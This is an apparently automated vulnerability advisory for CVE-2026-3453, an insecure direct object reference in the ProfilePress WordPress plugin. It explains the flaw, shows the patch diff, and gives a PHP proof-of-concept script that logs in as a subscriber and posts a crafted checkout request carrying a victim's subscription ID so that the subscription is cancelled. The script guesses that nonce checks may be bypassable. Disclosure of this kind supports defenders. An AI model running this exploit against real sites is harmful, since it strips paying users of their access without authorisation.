Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-3453: ProfilePress <= 4.16.11 – Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Subscription Cancellation/Expiration (wp-user-avatar)

CVE ID CVE-2026-3453
Severity High (CVSS 8.1)
CWE 639
Vulnerable Version 4.16.11
Patched Version 4.16.12
Disclosed March 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3453:
The vulnerability is an Insecure Direct Object Reference (IDOR) in the ProfilePress WordPress plugin. The root cause is missing ownership validation for the `change_plan_sub_id` parameter in the `process_checkout()` function within `CheckoutController.php`. The `ppress_process_checkout` AJAX handler accepts user-controlled subscription IDs for plan upgrades. It loads subscription records via `SubscriptionFactory::fromId($change_plan_sub_id)` and cancels them using `$sub->cancel(true)` and `$sub->expire()` without verifying the subscription belongs to the requesting user. The vulnerable code path begins at line 300 in the `process_checkout()` method where the parameter is processed. Attackers with Subscriber-level access can send crafted AJAX requests to `/wp-admin/admin-ajax.php` with `action=ppress_process_checkout` and a malicious `change_plan_sub_id` parameter. This payload triggers immediate cancellation and expiration of any active subscription. The patch adds ownership validation before processing. It retrieves the subscription object earlier and checks if `$customer_id !== $changePlanSub->get_customer_id()`. If the IDs mismatch, the function throws an exception. The same subscription object is reused later in the cancellation logic, preventing object re-fetching. Exploitation causes immediate loss of paid access for victims, as their subscriptions are terminated without authorization.

Differential between vulnerable and patched code

Code Diff
--- a/wp-user-avatar/src/Membership/Controllers/CheckoutController.php
+++ b/wp-user-avatar/src/Membership/Controllers/CheckoutController.php
@@ -300,6 +300,17 @@
                 throw new Exception(json_encode($customer_id->get_error_messages()));
             }

+            $changePlanSub = SubscriptionFactory::fromId($change_plan_sub_id);
+
+            if (
+                $changePlanSub->exists() &&
+                ! empty($customer_id) &&
+                $customer_id !== $changePlanSub->get_customer_id()) {
+                throw new Exception(
+                    esc_html__('You are not allowed to switch from this plan.', 'wp-user-avatar')
+                );
+            }
+
             $order_id = $this->create_order($customer_id, $cart_vars);

             if (is_wp_error($order_id)) {
@@ -331,19 +342,17 @@

             } else {

-                $sub = SubscriptionFactory::fromId($change_plan_sub_id);
-
-                if ($sub->exists() && $sub->get_customer_id() == $customer_id) {
+                if ($changePlanSub->exists() && $changePlanSub->get_customer_id() == $customer_id) {

                     // do not send subscription cancelled email
                     remove_action('ppress_subscription_cancelled', [SubscriptionCancelledNotification::init(), 'dispatch_email'], 10);
                     remove_action('ppress_subscription_expired', [SubscriptionExpiredNotification::init(), 'dispatch_email'], 10);

-                    $sub->cancel(true);
-                    $sub->expire();
+                    $changePlanSub->cancel(true);
+                    $changePlanSub->expire();

-                    SubscriptionFactory::fromId($subscription_id)->update_meta('_upgraded_from_sub_id', $sub->get_id());
-                    $sub->update_meta('_upgraded_to_sub_id', $subscription_id);
+                    SubscriptionFactory::fromId($subscription_id)->update_meta('_upgraded_from_sub_id', $changePlanSub->get_id());
+                    $changePlanSub->update_meta('_upgraded_to_sub_id', $subscription_id);
                 }

                 /** @var CheckoutResponse $process_payment */
--- a/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CheckoutSessionAsyncPaymentFailed.php
+++ b/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CheckoutSessionAsyncPaymentFailed.php
@@ -13,6 +13,8 @@

         $order = OrderFactory::fromOrderKey($event_data['client_reference_id']);

-        $order->fail_order();
+        if ($order->exists()) {
+            $order->fail_order();
+        }
     }
 }
--- a/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CheckoutSessionAsyncPaymentSucceeded.php
+++ b/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CheckoutSessionAsyncPaymentSucceeded.php
@@ -51,7 +51,7 @@
             $order->complete_order($transaction_id);
         }

-        if ( ! $subscription->is_active()) {
+        if ( $subscription->exists() && ! $subscription->is_active()) {

             if ($event_data['mode'] == 'subscription') {

--- a/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CheckoutSessionCompleted.php
+++ b/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CheckoutSessionCompleted.php
@@ -56,7 +56,7 @@
             $order->complete_order($transaction_id);
         }

-        if ( ! $subscription->is_active()) {
+        if ( $subscription->exists() && ! $subscription->is_active()) {

             if ($event_data['mode'] == 'subscription') {

--- a/wp-user-avatar/src/Membership/Services/OrderService.php
+++ b/wp-user-avatar/src/Membership/Services/OrderService.php
@@ -13,7 +13,6 @@
 use ProfilePressCoreMembershipModelsOrderOrderStatus;
 use ProfilePressCoreMembershipModelsOrderOrderType;
 use ProfilePressCoreMembershipModelsPlanPlanFactory;
-use ProfilePressCoreMembershipModelsSubscriptionSubscriptionBillingFrequency;
 use ProfilePressCoreMembershipModelsSubscriptionSubscriptionEntity;
 use ProfilePressCoreMembershipModelsSubscriptionSubscriptionFactory;
 use ProfilePressCoreMembershipModelsSubscriptionSubscriptionStatus;
--- a/wp-user-avatar/third-party/vendor/composer/installed.php
+++ b/wp-user-avatar/third-party/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace ProfilePressVendor;

-return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '6ba07349dfe1b45b60ed3a3b2c1e085e002fd71c', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '6ba07349dfe1b45b60ed3a3b2c1e085e002fd71c', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '80cceff45bfb85a0f49236537b1f1c928a1ee820', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'carbonphp/carbon-doctrine-types' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '99f76ffa36cce3b70a4a6abce41dba15ca2e84cb', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.5', 'version' => '1.4.5.0', 'reference' => '163b868c98cf97ea15b4d7e1305e2d52c9242e7e', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.8.0', 'version' => '9.8.0.0', 'reference' => '9d2e0265c5d90f5dd601bc65ff717e05cec19b47', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => 'v8.9.0', 'version' => '8.9.0.0', 'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.9.1', 'version' => '6.9.1.0', 'reference' => '94867711087d0efc3d361dbe068044e0124f4c0b', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v16.6.0', 'version' => '16.6.0.0', 'reference' => 'd6de0a536f00b5c5c74f36b8f4d0d93b035499ff', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '4f7f3c35fba88146b56d0025d20ace3f3901f097', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '605389f2a7e5625f273b53960dc46aeaf9c62918', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '6d857f4d76bd4b343eac26d6b539585d2bc56493', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '98f26acc99341ca4bab345fb14d7b1d7cb825bed', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '450d4172653f38818657022252f9d81be89ee9a8', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
+return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'b7828d2e7a83f0aa7b45ec8cae9ae68799626ee7', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'b7828d2e7a83f0aa7b45ec8cae9ae68799626ee7', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '80cceff45bfb85a0f49236537b1f1c928a1ee820', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'carbonphp/carbon-doctrine-types' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '99f76ffa36cce3b70a4a6abce41dba15ca2e84cb', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.5', 'version' => '1.4.5.0', 'reference' => '163b868c98cf97ea15b4d7e1305e2d52c9242e7e', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.8.0', 'version' => '9.8.0.0', 'reference' => '9d2e0265c5d90f5dd601bc65ff717e05cec19b47', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => 'v8.9.0', 'version' => '8.9.0.0', 'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.9.1', 'version' => '6.9.1.0', 'reference' => '94867711087d0efc3d361dbe068044e0124f4c0b', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v16.6.0', 'version' => '16.6.0.0', 'reference' => 'd6de0a536f00b5c5c74f36b8f4d0d93b035499ff', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '4f7f3c35fba88146b56d0025d20ace3f3901f097', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '605389f2a7e5625f273b53960dc46aeaf9c62918', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '6d857f4d76bd4b343eac26d6b539585d2bc56493', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '98f26acc99341ca4bab345fb14d7b1d7cb825bed', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '450d4172653f38818657022252f9d81be89ee9a8', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
--- a/wp-user-avatar/wp-user-avatar.php
+++ b/wp-user-avatar/wp-user-avatar.php
@@ -3,7 +3,7 @@
  * Plugin Name: ProfilePress
  * Plugin URI: https://profilepress.com
  * Description: The modern WordPress membership and user profile plugin.
- * Version: 4.16.11
+ * Version: 4.16.12
  * Author: ProfilePress Membership Team
  * Author URI: https://profilepress.com
  * Text Domain: wp-user-avatar
@@ -13,7 +13,7 @@
 defined('ABSPATH') or die("No script kiddies please!");

 define('PROFILEPRESS_SYSTEM_FILE_PATH', __FILE__);
-define('PPRESS_VERSION_NUMBER', '4.16.11');
+define('PPRESS_VERSION_NUMBER', '4.16.12');

 if ( ! defined('PPRESS_STRIPE_API_VERSION')) {
     define('PPRESS_STRIPE_API_VERSION', '2024-06-20');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3453 - ProfilePress <= 4.16.11 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Subscription Cancellation/Expiration
<?php

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_subscriber';
$password = 'attacker_password';
$victim_subscription_id = 123; // Replace with target subscription ID

// Step 1: Authenticate and obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);

// Step 2: Craft malicious checkout request with victim's subscription ID
$payload = [
    'action' => 'ppress_process_checkout',
    'change_plan_sub_id' => $victim_subscription_id,
    'plan_id' => 1, // Any valid plan ID for the site
    'payment_method' => 'stripe', // Or any enabled payment method
    'ppress_checkout_nonce' => 'dummy_nonce' // Nonce validation may be bypassed or not required
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_REFERER => $target_url . '/wp-admin/'
]);

$response = curl_exec($ch);
curl_close($ch);

// Step 3: Analyze response
if (strpos($response, 'subscription_id') !== false || strpos($response, 'success') !== false) {
    echo "Exploit likely succeeded. Victim subscription $victim_subscription_id may be cancelled.n";
} else {
    echo "Exploit may have failed. Response: $responsen";
}

unlink('cookies.txt');
?>

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